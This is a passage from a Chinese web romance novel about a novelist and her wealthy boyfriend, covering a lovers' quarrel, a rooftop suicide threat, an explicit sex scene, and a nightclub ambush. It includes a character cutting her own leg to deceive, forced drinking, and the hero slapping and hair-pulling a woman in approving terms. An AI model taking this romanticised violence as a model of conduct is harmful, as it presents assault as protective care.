“会议的资料，你传我一份。”
“等人齐了，就过来接我。”
……
桑柠转头，这一次她头也不回的走出了房间。
门关上，她却没离开，心里头始终还抱着一丝希望，但到底是落了空。
霍今然忙着接电话，根本顾不上她这边，也自然不会跑出来追她。
他后面还有个重要的会议，怎么都不会因为要哄她，而耽误。
明明都是意料中的事，不应该失望的，可桑柠的心里却还是有些烦躁。
像是布满了蜘蛛网似的，差点就要透不过气来。
桑柠也知道，她不应该在这个时候发脾气，毕竟前不久霍今然在她最需要的时候，半夜赶到了她身边。
陪着她，护她安好。
也不过才隔了一个星期而已。
那天有记者也问过结婚的话题，霍今然没应话，桑柠也理解，他不回答，是因为不想让记者在他的私人感情上大做文章。
那个时候桑柠也没想那么多。
直到。
今天晚上，她亲耳听到霍今然的心声，他说就算我不跟她结婚，这么简单的一句。
她却在意了。
像是一颗石头落入湖面，瞬间就激起了水花，自然而然的反应，她躲都躲不开。
也许是他随口敷衍的，可也许真的就是他的心里话，他没想过跟她结婚，只是跟她玩玩而已。
桑柠耷拉着眼皮，视线茫然的望着酒店走廊红色的地毯，她轻叹了口气，眼底有些酸涨，很没出息的泛了红。
走到外面，一阵寒风吹过来，桑柠不禁裹了下身上的貂绒大衣。
刚下过一场雪，融雪后，冬日的天气越发寒冷，只不过是从酒店走到了停车的位置，上了车，桑柠已经冻得双腿都有些木了。
在车里缓了一阵子，而后她换掉高跟鞋，才开车离开。
回到家，桑柠换上平常的睡衣，她热了杯牛奶，直到喝完牛奶，上床睡觉，她的手机都没任何动静声。
看来霍今然那场会议很重要，重要到已经什么都顾及不到了。
隔天，桑柠的气都还没消，闲的没事，得知连歆语要去旧货市场选素材，她就跟了过去。
冬日的晴天，午后阳光耀眼，晒在脸上暖融融的。
赶上周末，旧货市场人很多，连歆语拉着桑柠朝尽头走去，停到了一家专门收集古董小玩意的摊铺前。
“你跟霍今然怎么又吵架了，前阵子不是还很黏糊么？”连歆语随手拿起一个红木制的首饰盒，转而又问道，“是不是你又耍小孩子脾气了？”
桑柠裹了下身上的披肩：“我要是跟你说了原因，你估计就不会这么说了。”
“说吧，我听着呢。”
桑柠瞅了一眼周边，见都是人，她微偏了下头：“等你买完东西，我们出去说。”
“行吧，那我们先逛。”
陪着连歆语转了一大圈，临出去时，桑柠在门口，买了两杯热柠檬茶。
走到外面，两个人坐到了路边的椅子上。
桑柠将其中一杯柠檬茶递给了连歆语：“给你，吸管在袋子里。”
连歆语接过：“现在能跟我说了吧？”
桑柠就着吸管，喝了两口温热的柠檬茶，她掏出手机，翻到了之前购买性感内衣的网页记录，她点开一张模特图，亮给连歆语看：“怎么样，性感么？”
连歆语咬着吸管，瞅了一眼照片：“这都能让男人流鼻血了。”
桑柠收起手机，她模样平静：“可惜我穿这身出现在霍今然面前时，他忙着工作，都顾不上我。”
“不能吧，他还是男人么。”连歆语讶异道。
转瞬，连歆语又改口道：“不对，我虽然现在对你家霍今然改观了，但是他以前冷血的样子，我还是忘不掉，被你这么一说，感觉确实是霍今然能干出来的事。”
桑柠闷头喝着柠檬茶，差不多喝了小半杯，她又说道：
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“其实说起来，是我先生他气的。”
“因为什么？”
“我无意间听到他跟他父亲的对话，他说就算以后不跟我结婚，也不会接受他父亲安排的联姻。”
听桑柠说完，连歆语默了一瞬，都是女生，自然明白就算以后不跟她结婚，这句话杀伤力有多大。
难怪桑柠不想理霍今然了呢。
半晌，连歆语还是试着劝了一句：“其实你跟霍今然交往还不到一年，现在提结婚的事，确实有些早了。”
“我也没急着要跟他结婚，只是觉得如果我从来都不在他未来的规划里，那我在他心里到底算什么呢。”桑柠双手捧着柠檬茶，她低垂着眼眸，视线没什么焦点的望着地上晃眼的日光。
连歆语坐过去，她伸手，抱了一下桑柠：“傻丫头，别胡思乱想了，感情这种事，就得顺其自然，恋爱就好好谈，时机到了，自然就会结婚了。”
桑柠没说话，只是闷闷的点了点头。
跟连歆语在外面吃过晚餐，回到家时，已经差不多夜里八点多了，天色已黑透。
桑柠洗完澡，她拿出手机窝到沙发上，下午听完连歆语的话，对霍今然已经不气了，可还是不太想理他。
却矛盾的又很想他。
桑柠点开微信，戳开了跟霍今然聊天对话框，她编辑了两行字。
——你今天忙完会来我这里吗？
——我已经洗干净了。
编辑完，桑柠一瞬不瞬的盯着屏幕，心里冒出甜蜜的感觉，可下一秒，脑海里忽地又闪现，那天她离开，霍今然都不过来追她。
两天了，也不过来哄她。
思绪一下下的，拧巴又别扭，桑柠到底还是又删掉了那两句话。
在沙发上窝了一小会儿，桑柠又忍不住打开微博，在搜索栏输入霍今然的名字，她搜了下他最近的动态。
霍今然向来低调，除了桑柠给他注册的微博小号，他没有任何公共平台的账号。
不过那次辟谣视频出圈后，霍今然也突然多了一批粉丝，现在去哪里都有人偶遇了。
桑柠刷新了下网页，最新的动态里，有一则视频，正好是今晚有人偶遇到了霍今然。
视频几乎是自动播放。
看着像是东区的半岛码头，一架豪华的私人游艇前，霍今然一身黑西装，他跟其他穿西装的男人握了下手，应该是在谈生意。
旁边还有几位打扮极其艳丽的时髦女人，大冬天的还穿着紧身的包臀裙，举止轻浮，看着像是陪客的。
很快，几人就朝着游艇上走去，其他男人搂着那些女人，画面香艳。
桑柠的眼中只有霍今然，她看他走在最前面，没碰任何女人，可他身后却有个黑皮裙女人一直跟着他。
像是那晚专门只陪他的。
而且。
那女人。
竟然还穿着红色的蕾丝袜！
视频突然戛然而止。
在霍今然迈进游艇之后，便中断了，后面发生什么事，桑柠自然不得而知。
她咬着唇，胸口一阵郁气难消。
其实视频从一开始，霍今然就没跟那个黑皮裙女人有任何互动，甚至肢体接触。
桑柠应该信任他，不应该胡思乱想，质疑他会做出什么出格的事。
可是。
她就是忍不住有些生气！
桑柠退出微博，她又返回到微信上，捧着手机，想了半天她都不知道该发什么，索性什么都没发。
赌气的坐在那里许久，她又忍不住打开微博，刷新了下霍今然的新动态。
23. 23
已至半夜，半岛码头这边几乎已经没什么人了。
霍今然走出游艇，跟其他人告别后，他朝着码头外面走去。
上了车，霍今然掏出手机，看了一眼，桑柠还是没给他发任何信息。
微博也不更新，看来还在气他。
“霍总，您想回哪里？”前排司机问道。
霍今然想了下，本来要去桑柠那里的，可从码头赶过去，得一个多小时，过去后差不多都要凌晨两点了。
桑柠估计都已经睡了，还是不去打扰她了。
“回酒店。”霍今然低声吩咐了一句。
司机启动车子，朝着金缦丽酒店的方向驶去。
车窗外，隆冬的夜色深沉如墨，路上已经没什么车，周边更是寂静空旷。
霍今然将手机丢到一边，他朝后倚了过去，想靠在后背座上小憩一会儿，只是他刚闭上眼，就听见坐在副驾驶座上的唐志诚唤了他一声：“霍总？”
“嗯。”他有些疲倦的低应了一声。
唐志诚跟着说道：“公司那边出事了，有工地上的人，跑过来闹事。”
霍今然缓缓的睁开了眼：“什么情况？”
“说是拖欠工人工资，有个叫李永祥的工人因为迟迟拿不到钱，耽误了家里孩子的病情，找谁都解决不了，就跑来公司这边闹事，说非要见您一面。”唐志诚详细解释了一句。
听完，霍今然简单回了一句：“叫人核对账目，给闹事的工人补齐工资。”
“已经核对了，账目没问题，所有工人的工资在冬天停工前就已经都结算清了，包工头都已经领走了，但是工人却都没拿到钱。”
霍今然又闭上了眼：“先回公司一趟。”
唐志诚点头应了一下。
司机在一个路口调转车头，加速朝着霍氏集团大厦赶了过去。
路上，霍今然吩咐唐志诚，尽快找人给李永祥的孩子安排转院，找专家会诊治疗。
凌晨一点多，车子抵达霍氏集团大厦。
集团门口围了很多人，就连消防车跟救护车也赶了过来，看来事情闹得还挺大。
有工作人员看到霍今然，连忙大步走了过来：“霍总，闹事者李永祥现在在顶层，说要见您一面，不然就会跳下去。”
霍今然脚步不停：“上去看看。”
进了电梯，忽地想起什么，霍今然问身边的工作人员：“他是怎么进来的？”
“还在查。”工作人员回道。
电梯匀速上升，直达顶层。
顺着楼梯，刚一踏进顶层天台，就有个嘶吼的男声传了出来：“叫霍今然过来见我！不然我就跳下去！”
“李先生，您先别激动，我们霍总已经赶过来了，您……”安抚的工作人员的话还没说完，就感觉肩头被拍了一下。
回头，看到的是霍今然。
李永祥显然也看到了霍今然，他比先前更激动了些：“你们这帮奸商！还我的血汗钱！我孩子要是有个三长两短，我就让你们拿命赔偿！”
围观的工作人员几乎自动让开，给霍今然腾出道，他淡然自若的走了过去。
离天台只剩两三米时，霍今然停了下来：“李先生不妨先下来。”
“你别拿好话哄我，你们奸商说的话，我一个字都不会再信！”李永祥依然很激动道。
趁着霍今然帮忙转移了李永祥的注意力，一旁躲在暗处的消防员，慢慢朝那边接近了过去。
霍今然单手插兜，他气质如松柏，沉静深远：“我已经大致了解了些情况，这中间应该有什么误会，我会让人调查清楚，李先生是过来解决问题的，但你这么闹，只会把问题搞大。”
“不如先下来，我们面对面谈清楚。”
李永祥的神情有些松动。
就在这时，在暗处匍匐前进的消防员，抓住机会，突然起身，猛地一扑，将李永祥扑到了地上。
见此场景，围观的人都松了一口气。
霍今然还站在那里，他神情淡如水，没任何波动。
被救下来的李永祥很显然还不服气，比先前还要激动：“你们还我钱，没钱我怎么给我孩子治病！”
这时，唐志诚接了个电话，没说两句，他就跟霍今然说：“霍总，依您的吩咐，李永祥的家人已经联系到了，现在他妻子就在我们工作人员身边。”
“让李永祥接电话。”霍今然低声吩咐了一句。
唐志诚点了下头，而后他拿着手机，走到了李永祥那边：“李先生，您妻子的电话，您要不要先听一下。”
李永祥疑惑的望着唐志诚：“我不听，谁知道你们又要耍什么招数。”
“李先生不妨先听电话。”唐志诚将手机递了过去。
电话那端突然传来个女人的声音：“老公啊。”
李永祥听到妻子的声音，他微顿了下，不过很快就接过了电话：“喂，怎么了，是不是孩子有什么事？”
“没事啊，霍先生那边派人要给我们孩子转院，还会请专家治疗，你快回来吧。”
听到妻子这样说，李永祥瞬间红了眼眶，他声音有些发抖：“好，好，我这就回去。”
挂断电话，李永祥将手机还给了唐志诚。
李永祥望向了霍今然，可能因为愧疚，他神情有些不自然，嘴唇微蠕动，想说什么，可最后却也不知道该说什么。
还是霍今然主动开口道：“今晚的事我不会再追究，等下我派车会送你去医院。”
说完，霍今然就转身离开了。
身后，李永祥对着他的背影，深深鞠躬道：“谢谢霍先生。”
唐志诚拿回电话，紧忙跟了过去。
走出天台，霍今然跟唐志诚说道：“明天叫人查清楚这件事。”
“好的，明天我就找人联系那个包工头。”唐志诚走上前，帮忙摁了电梯。
电梯上来，一行人走了进去。
霍今然走到最里面，斜斜的倚着栏杆，电梯一层层的下去，门开，他起身，走了下去。
霍氏集团大厦离他住的金缦丽酒店很近，十来分钟后，车子就停到了酒店的门口。
唐志诚下车，帮霍今然打开了门：“霍总回去早点休息，明天早上九点，我来接您。”
“嗯。”霍今然长腿跨下了车。
隆冬的夜色，雾气弥漫。
穿过酒店的大堂，上了电梯，霍今然刷卡，电梯很快抵达他所在的楼层，他抬脚迈了出去。
凌晨酒店的走廊空无一人，身边也没人跟着，热闹散去，霍今然独自朝着尽头的房间走去。
忙到这会儿，人是累的，却也很空虚。
像是荒芜的冬夜，寸草不生，没有任何的生机。
走到一半，霍今然裤兜里的手机响了起来，他拿出，指尖下意识的拨弄手机侧键，调成了静音。
手机还在振动，屏幕上的来电显示是桑柠。
霍今然神色有那么一瞬的恍然，在这样的深夜，看
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到桑柠的来电，还以为是在发梦。
不过一瞬，感觉到走廊的穿堂风，他清醒过来，连带着刚才盘旋在心底的那些疲惫，空虚，也跟着一扫而空。
走到门口，霍今然接了电话：“喂，怎么这么晚打给我？”
桑柠的声音响起，不仅从电话那端传来，听着也像是从他房间里传来：“你怎么还没回来？”
霍今然拿离了手机，桑柠的声音依然断断续续的传来：“事情不是解决了么，你是不是出事了呀？”
那把声线里还带着软软的哭腔。
霍今然微勾了下唇角，他掏出房卡，打开了门。
门开，他抬眸的一瞬，就看到桑柠站在不远处，背对着他，她双手捧着贴在一侧耳边的手机，看起来很焦急的样子。
听见门响，桑柠几乎下意识的转头，泪眼婆娑，楚楚可怜的模样，好不惹人怜爱。
下一秒，她就转身，光脚跑了过去，扑到了霍今然的怀里，像个小孩子一样呜呜咽咽道：“你怎么才回来，快吓死我了，我以为你受伤了。”
霍今然捏起她的下巴，怀里的人梨花带雨，柔弱无辜的样子，怎么都看不够：“我怎么会受伤，嗯？”
桑柠的长睫毛湿漉漉的，像只迷途的小梅花鹿似的，睁着两只无辜的大眼睛，望着霍今然：“我怕那个威胁你的人，会拽着你一起跳下去，也怕他会带着刀，刺伤你。”
“想象力还挺丰富，真不愧写小说的。”
“是电影里都这么演的。”
霍今然气笑了：“嗯，你就不能盼我点好。”
桑柠将小脑袋又埋进他的怀里，哼哼唧唧道：“人家害怕嘛。”
她是真的害怕。
本来还在跟霍今然赌气，因为他那句话，因为这两天他不来哄她，也因为昨晚跟在他身后的女人穿着红色的蕾丝袜，可当她从微博里刷到，有人跑去霍氏集团闹事，还嚷嚷着要见霍今然，不然就跳下去。
刷到这个动态，桑柠当时就慌了。
气也跟着消了，她只想跑去见霍今然，就像那晚她被网暴，他大半夜赶过来陪着她一样，她也想在这个时候陪在他身边。
知道霍今然在忙，桑柠没急着打电话打扰他，再加上突然又发生跳楼威胁的事，他估计也顾不上她。
她也并不想给他添乱。
于是桑柠就赶来金缦丽酒店，让单羽将她送到房间后，她就一直等在了那里。
霍今然垂眸望着怀里的桑柠，她眼尾还泛着红，房间里很暖和，热气腾的她的小脸也粉扑扑的，像是熟透的蜜桃，让人忍不住想咬一口。
应该要安慰她的，可霍今然却只想欺负她，让她哭的更凶一些。
桑柠察觉到他眼里染了欲，她用食指戳了下他的脸颊：“你在想什么呢？”
霍今然的眼底暗涌翻滚：“你说呢。”还能想什么。
说完，霍今然将她抱到了身上。
桑柠顺势双腿夹住了他的腰：“你先去洗澡。”
回应她的，是霍今然将她抱进房间里，压在了窗边的写字桌上，他的吻落下。
桑柠都还来不及反应，他的舌尖就已经探了进来，撬开她的贝齿，与她的舌头纠缠在一起，疯狂肆意。
她差一点就呼吸不上来。
霍今然的吻却越发放肆起来，吻过她的锁骨，流连在那一大片雪白。
他身下，桑柠已经开始颤栗不已，红裙褶在她腰间，像是一朵娇艳的玫瑰，已完全绽放。
24. 24
窗外，隆冬的夜静谧无声。
关了灯的房间里，各种暧昧旖旎声却此起彼伏。
霍今然望着已经瘫软在桌上的桑柠，脑海里忽地想起那天，她穿着那套红色蕾丝内衣套装，惹火的吊带袜，带来的视觉刺激，令他不禁抽动的快了些。
桑柠受不住，她指尖嵌在他结实的小臂里，声音发颤：“嗯嗯嗯……慢一点……”
“慢不了，受着。”霍今然双手箍紧了她的腰。
桑柠好似一片叶子，在暴风雨中颤栗不已，直到风止雨停，她跟着又被霍今然抱起，放到了床上。
他附身，细腻的吻落下，在她耳边低语：“那套内衣，下次穿给我看。”
桑柠缠住他：“得看你接下来的表现。”
霍今然扯掉已松散的领带，他褪去身上仅剩的衣衫：“轮到你在上面了。”
桑柠躺在那里不动：“不想动，没力气。”
霍今然吻了下她的唇：“小懒猫，起来，换个姿势。”
桑柠这一次乖乖的从床上爬起身，而后她背对着霍今然，半趴在了床上。
霍今然靠近她，一边进入，一边从旁边拿起个抱枕，放到了她面前，以防等下太激烈，磕着她脑袋。
后来也不知何时结束的，桑柠只觉力气尽失，嗓子干渴发哑，她披头散发的躺在那里，歪着脑袋：“想喝水。”
霍今然起身，趁着屋里的暗光，走到外面，给她倒了杯水。
回来时，桑柠还软绵绵的摊在那里，霍今然也没唤她，只是走过去，将她抱到怀里，喂了她几口水。
桑柠喝了几口，就在他怀里哼哼唧唧的说不要了。
霍今然将水杯放到了一边。
他又抱起桑柠，走进盥洗室，帮她洗干净，才又将她抱到了床上。
桑柠已经困得没了意识，一挨着床，她就沉沉的睡着了。
醒来时，已是早上九点多。
桑柠闭着眼，朝旁边摸了过去，半边床铺已空，霍今然不知何时已经出门了。
她翻了个身，困的不想起，还想赖会儿床。
这时，床头柜的手机突然响起了视频聊天的邀请声。
桑柠从床上起身，拿起手机，看了一眼，看是连歆语发起的申请，她直接点了同意。
“干嘛呢，才起来呀？”
桑柠一手抱着怀里的薄毯，一手举着手机，忍不住打了个哈欠：“嗯，你找我有事么？”
话落，对面的连歆语不吭声了。
桑柠睁开眼望了过去，视频对面，连歆语打量了她一番：“我本来还想问你，跟霍今然和好没，这看来已经和好了，昨晚的战况很激烈啊。”
似是意识到了什么，桑柠低头看了一眼，她白皙的锁骨上，都是霍今然夜里留下的大片吻痕。
桑柠用薄毯遮了一下：“昨晚他这边出事，所以我就跑过来陪他了。”
说完，桑柠又问了连歆语一遍：“你大早上的，到底找我什么事啊？”
“没什么，这个周末我能休两天，所以想问问你，要不要出来玩。”连歆语接着道，“陆佑安说最近有家新开的会所不错，叫什么朝皇，我已经约了其他好姐妹，你要不要晚上一起过来？”
桑柠想了下，反正晚上也没什么事，于是她就答应了下来：“那就一起去吧，晚上几点过去？”
“晚上七点，门口见，等会儿我把地址发给你。”
“好，那我们晚上见。”
挂断视频，桑柠起床洗了个澡，吃完霍今然给她准备的早餐，她就离开了金缦丽酒店。
晚上七点，桑柠开车抵达那家朝皇会所时，连歆语跟其他姐妹已经等在了门口。
朝皇会所的门前也已经停满了各种豪车。
桑柠脚踏着高跟鞋，走过去，跟其他姐妹打完招呼，她走到了连歆语身边：“是刚开业的缘故吗，看起来今晚好像来了很多人。”
连歆语陪着桑柠朝里面走去：“可能也是赶上了周末，不过刚开业，估计很多人都想图个新鲜感。”
“桑柠，最近忙什么呢，好久没见你了。”有其他姐妹跟桑柠搭话道。
桑柠转头望向那位姐妹：“还是老样子，最近刚完结的小说签约了出版，之后我要窝在家里改出版稿了。”
“那今天晚上你可得好好放松下。”
“当然，我们一起High个够。”
说话间，一行人走进了会所。
连歆语已经提前订好了包间，跟着服务员朝楼上走去时，在楼梯上刚好遇到几个女生要离开。
桑柠扶着楼梯扶手，让到里侧，她垂着眼眸，朝楼上走去。
那几个女生中，有一个染着粉发的女生，一直频频朝桑柠那边望去。
看桑柠上楼走远，粉发女生问身旁的人：“不是我眼花吧，你们是不是也看到了？”
“谁呀？”
“就那个，褚千金最讨厌的那个小作家。”粉发女生激动的回道。
“她今晚也来这里了，那岂不是要冤家路窄了？”有其他女生也跟着激动道，“对啦，还有那个谁，叫什么来着，江念惜是吧，那小明星今晚也跟着褚千金呢。”
粉发女生紧忙掏出手机：“我得把这消息告诉褚千金一声。”
二楼走廊的尽头，VIP208包间。
褚晚柠正被一帮人围着，一起开黑打游戏，桌上的另一部手机冒出信息来，她没注意。
直到一把游戏打完，褚晚柠才拿起手机看了一眼：晚柠姐，我刚才看到你讨厌的人了，就那个小作家桑柠，她今晚也在朝皇这里呢。
看完信息，褚晚柠将手机丢到桌上：“真晦气，本来今晚还挺开心的。”
对面的姜昱霆拎着半瓶啤酒：“什么事？”
褚晚柠抱着双臂，一脸的不耐烦道：“那个小作家今晚也在朝皇呢。”
“行了，都不知道她在哪个包间呢，玩你的就行了。”
“那我也不爽，上次都没给她个教训，我那口气还没出呢。”褚晚柠想起霍今然那样护着那个小作家，她就一肚子气。
姜昱霆没应话，只是闷了两口啤酒。
想起上次安排那场网络水军抹黑桑柠，姜昱霆也算是尽力帮褚晚柠了。
也是之前偶然听到有人提起霍家跟褚家的联姻，就算霍今然辟谣了，也没人相信，甚至还觉得过不了多久，霍家跟褚家
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会正式官宣联姻的事。
姜昱霆就是从这些传言中着手，找人在论坛放出桑柠第三者插足的消息。
真假爆料混淆视听，网络水军跟着下场，颠倒黑白，逐步敲实桑柠知三当三的谣言。
虽说谣言止于智者，但总归会思考的是少数，多数都是些无脑跟风的人，网络上三人成虎，这谣言便不胫而走。
可惜到头来，还是白忙活一场，霍今然护着她的小女友，根本就伤不得她半毫。
坐在一旁的江念惜，听到褚晚柠愤愤的提起小作家，猜到说的是桑柠，她也不敢插嘴，就默默地坐在了那里。
江念惜也是后来知道，原来褚晚柠加她微信，是为了接近桑柠。
可惜之前她约桑柠出来时，没成功。
那边的褚晚柠转念一想，突然不气了，她哼笑了声：“既然今天这么巧碰到她，那不如就跟她见一面。”
“你又要干嘛？”
褚晚柠瞪了姜昱霆一眼：“不干嘛，请她来喝酒不行啊。”
说完，褚晚柠转头望向江念惜：“喂，把你那个好姐妹约到我们包间来。”
江念惜拿出手机，心里有些没底：“她要是不过来怎么办，上次约她，就没怎么理我。”
“你人缘这么差的么？”
“……”
褚晚柠捏起一颗樱桃：“我不管你用什么办法，只要你能把她约过来，我会给你想要的资源，电影女主，还有奢品代言。”
江念惜紧捏着手机，她对那些诱惑毫无抵抗力：“行，我想办法把她骗过来。”
褚晚柠嗤之以鼻：“那就看你的了。”
江念惜低头坐在那里，她想了下，给桑柠发过去一条微信：柠柠姐，我刚才好像看到你了，你现在是不是也在朝皇这里呀？
走廊另一边的尽头。
桑柠窝在沙发上，旁边连歆语跟其他姐妹在打牌，她觉得没意思，就自个玩起了手机。
刚打开微博，还没来得及看，屏幕上方就冒出来，江念惜给她发来的那条信息。
桑柠抿了下嘴，没搭理。
不多时，江念惜又给她发过来一条：柠柠姐，你能不能来接我呀，我现在被几个男人围着，一直灌我酒，我好怕。
看完那条信息，桑柠忍不住在心里吐糟了一句：神经。
那边连歆语将手上的牌丢到了桌上：“不玩了，今天我可输惨了。”
回头看桑柠窝在那里，脸色似是有些不耐，连歆语坐了过去：“怎么了，谁惹你了？”
桑柠将手机放到一边：“江念惜，说她现在也在朝皇这里，还说被几个男人一直灌酒，让我去救她。”
连歆语嗤了声：“她有病吧，找你有什么用啊，不是有她经纪人和助理么。”
“谁知道，上次就突然找我，说要跟我见面，我没理她，今晚又不知道她犯什么病了。”桑柠回道。
“那你刚才怎么回她的？”
“删了她了，不过删之前，我确实回了她一句。”
“回的什么？”连歆语好奇的问道。
桑柠拎着半瓶啤酒，仰头抿了一小口，而后她无所谓的丢过去一句：“找你金主去。”
25. 25
从会所的包间出来，去洗手间时，走廊上几乎没什么人。
桑柠拎着包包，走进了女士的洗手间，她推开一间暗格，走了进去。
离着不远处的一间暗格里，江念惜站在门口，看到桑柠时，她深呼了一口气，本来要离开的，她却又关上了暗格的门。
刚才在微信里骗不来桑柠，还被她删了好友，江念惜也不敢跟褚晚柠讲实话，就走出包间，来到了洗手间。
本来想给桑柠打个电话的，却意外的在这里遇到了她。
江念惜躲在暗格里，她得想个法子，把桑柠骗到褚晚柠的包间里才行。
想来想去，江念惜突然想到了个办法。
她从包里拿出一个小镜子，用纸巾包住，放到地上，用力踩碎镜子，她挑出一块大的碎片。
江念惜咬着唇，手不禁有些发抖，她还是下不了那个狠心，但一想到，当初她被突然换掉女主，在圈子里丢尽了脸面，她其实也想借此机会，让褚晚柠教训桑柠一番。
再者，江念惜也根本受不住诱惑，她现在在娱乐圈的地位不稳，还正在往上爬，很需要褚晚柠给她的那些资源提升咖位。
一番思来想去，江念惜捏着镜子碎片的手指已不自知的收紧，她终于咬牙下了狠手。
用手里的那块碎片，在她的小腿上划出一道血口。
将残余的碎片都丢进垃圾桶里，江念惜拎着包包，走出暗格。
桑柠正在那边对镜补妆。
江念惜扶着门，扮的梨花带雨可怜兮兮的唤了桑柠一声：“柠柠姐。”
听到那声熟悉的声音，桑柠身子微顿，透过镜子，她看了一眼那边的江念惜：“有事吗？”
“柠柠姐，我腿不小心划伤了，你能不能送我回包间呀？”江念惜受伤的那条腿故意脚尖着地，看起来很痛的样子。
桑柠低下视线，慢条斯理的合上了口红的盖子：“不是说包间里都是要给你灌酒的男人么，怎么好不容易出来，还要回去？”
“我想通了，还是忍忍吧，不回去，我以后都很难在娱乐圈混了。”江念惜带着哭腔道，“我真的很喜欢演戏。”
桑柠抬眸睨了江念惜一眼，却没说话，只是将口红放回了包包里。
“柠柠姐？”
桑柠抿了下唇，她有些心软了，反正已经删了江念惜的微信，以后都不联系了。
今晚就当作日行一善吧。
桑柠拎着包，转过了身：“几号包间？”
“VIP208，左边走廊的尽头。”江念惜回道。
桑柠走过去，搀扶着江念惜：“走吧，我送你回去。”
“谢谢柠柠姐。”江念惜哽咽道。
桑柠没再应话，她扶着江念惜走出洗手间，慢慢朝着走廊尽头的VIP208包间走去。
到了门口，敲了门，有人帮忙开门后，桑柠也没朝里巴望，她就停在门口，松了手：“行了，你自己进去吧。”
“柠柠姐不进去么，这里有你认识的人。”江念惜故意拖延道。
桑柠一时还没明白江念惜那句话：“什么？”
话落，桑柠抬头看了过去，不远处，褚晚柠坐在沙发的靠背上，她双臂抱胸，一副高高在上的样子。
正望着桑柠这边：“这么巧，你也在这里？”
桑柠没应话，只是偏头瞅了一眼江念惜，那copy怪竟一脸无谓的也望着她，还当着她的面，慢慢走到了沙发那一边，坐了下来，仿佛一副看好戏的样子。
在这时，包间的门也“咔嚓”一声，在桑柠的身后关上了。
桑柠转身要走，却有人故意挡在了门口。
“桑小姐，干嘛急着走啊？”褚晚柠的声音又响了起来。
桑柠瞥了一眼挡在门口的人，瞧这架势她一时半会儿也走不了，褚晚柠想出口气，估计不奚落她一顿，不会放她走。
她倒也不怕，毕竟在公共场所，量褚晚柠也不敢做出太过分的事。
桑柠不急不缓的又转过了身：“不知道褚小姐费尽心思，找我过来，到底有什么事呢？”
“没什么事，不过我们也算是有缘，毕竟都喜欢同一个男人。”褚晚柠的语气里带着些微的讽刺。
桑柠不以为意道：“褚小姐想多了，我跟霍今然是互相喜欢，而你只不过是单恋他，还是那种迟迟得不到回应的。”
“……”
一句话，噎的褚晚柠像是喉咙里卡了鱼刺似的，胸口也跟着堵了一口气，咽不下去，也吐不出来。
包间里的其他人也没什么反应，喝酒的，吃水果的，玩手机的，看起来都挺忙活，但其实都在默默看好戏。
桑柠那句话，令褚晚柠在朋友面前丢了面，她干脆撕破了脸：“你是不是很得意，有霍今然护着你？”
“我没有让他护着我，在认识他之前，我就已经独自生活了很多年，只不过现在我是他女朋友，有人要欺负，他自然会挡在前面，护着我。”桑柠不紧不慢道，“当然，褚小姐不会体会到这种感觉的。”
桑柠那张脸生来就像一朵小白花，纯的能掐出水来，可脾气却也很带劲，用连歆语的话说，倔起来让人又爱又恨。
偶尔伶牙俐齿，也是从来都不饶过任何人。
褚晚柠的脸上红一阵白一阵，瞧着桑柠被霍今然偏爱的有恃无恐的样子，她就气不打一出来。
只想狠狠教训桑柠一番。
褚晚柠还坐在那里，抱着双臂，眼底却多了些恨：“那就看看，今晚霍今然还怎么护着你。”
另一边的包间里。
连歆语拿出手机，看了一眼时间，都过了十几分钟了，桑柠还没从外面回来。
给桑柠发微信，打电话，她都不理会，连歆语有些担忧了。
包间的门突然被人推开，还以为是桑柠，连歆语抬头望过去时，看到的却是其他姐妹。
那姐妹一进来，就跟连歆语说：“歆语，你猜我刚才看到了什么？”
连歆语握着手机：“没空猜你的，我这正找桑柠呢。”
“我就是看到桑柠姐了，扶着江念惜进了一个包间。”
“什么？”连歆语讶异万分。
“不是吧，我刚才听我朋友说，江念惜是跟着褚晚柠他们一拨人来的。”另一个姐妹插嘴道。
几乎都是一个圈子的，消息
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基本都互通。
一番信息交换，连歆语似是明白了什么，她蹭的站了起来：“江念惜这不要脸的东西！”
一边骂着，连歆语一边联系上了霍今然。
连歆语没贸然报警，是因为她现在也不知道桑柠什么情况，再者褚家势力大，即便报警，最后也不了了之。
还不如让霍今然赶过来，无论发生什么事，他都能护着桑柠。
不久，霍今然就赶了过来。
他身后跟着一帮人，面色阴沉，走进朝皇时，气场强大，路过的人都不禁给他让了道。
一路走到二楼的VIP208包间的门口，会所的经理跟了过来，却还没顾得上敲门，也都还没顾得上叫人用钥匙开门，高虎就一脚踢开了包间的门。
“砰——”的一声，木门重重的撞到了墙上。
霍今然冷眼望了过去。
桑柠被两个人架着，褚晚柠正掐着她的下巴，给她灌酒。
高虎冲过去，一脚踢开了桑柠旁边的人，又一下子掐住另一个人的脖子，将那人甩到了墙上。
单羽也赶忙过去，帮忙扶住了已经站不住脚，全身都软绵绵的桑柠。
褚晚柠手里的杯子掉落，混着红酒摔了个稀碎。
霍今然望着被吓呆的褚晚柠，冷声吩咐单羽：“送桑小姐去医院。”
单羽点头，扶着桑柠离开了。
包间里突然鸦雀无声。
连歆语冲过去，不由分说的揪住江念惜的头发，拖着她就往外面走：“我操你妈的！今天我非打死你个不要脸的！”
江念惜挣扎着，却挣不脱，只能硬生生的被连歆语拖了出去。
包间的门又关上了，高虎杵在那里，堵着门，那架势像是谁也别想出去。
整个包间的人大气都不敢出，仿佛死一般的寂静。
只剩霍今然走过去时，皮鞋底踩碎的玻璃杯碎片的细嗦声。
褚晚柠望着霍今然的样子，她从来没见过他这么阴冷的一面，看着他走过来时，她不禁吓得直往后退。
霍今然双手插兜，步步逼近。
褚晚柠退到墙壁上时，已是无路可退，她望着霍今然，做了最后的挣扎：“你要是敢打我，我就让你身败名裂！”
“啪——”的一声清脆的巴掌响。
几乎是在褚晚柠话落下的同时，霍今然就抽出一只手，不由分说的甩了她一巴掌。
男人力气大，褚晚柠根本就招架不住，那一巴掌甩过去，由于惯性，她整个人都几乎背过了身。
狼狈的趴到了墙上。
还没缓过劲来，褚晚柠只觉脑袋嗡嗡直响，脸上也是火辣辣的疼。
下一秒，霍今然突然伸手揪住褚晚柠的头发，将她扯到他跟前，他在她耳边低声冷言道：“谁跟你说我霍今然是个好人的。”
褚晚柠吓得浑身直哆嗦。
霍今然用力揪着褚晚柠的头发，像个杀人如麻的恶魔似的：“谣言从哪儿听来的，嗯？”
褚晚柠已是吓得呜呜咽咽的讲不出话来。
霍今然又一把拽过褚晚柠，毫无怜惜之意，他伸手，拿起了桌上的一瓶红酒。
26. 26
包间里的气氛冷滞，突然好似地狱一般，每一秒都让人煎熬。
高虎还守在门口，没人能进来，也没人能出去。
跟着褚晚柠过来的那帮人坐在那里，谁也不敢动。
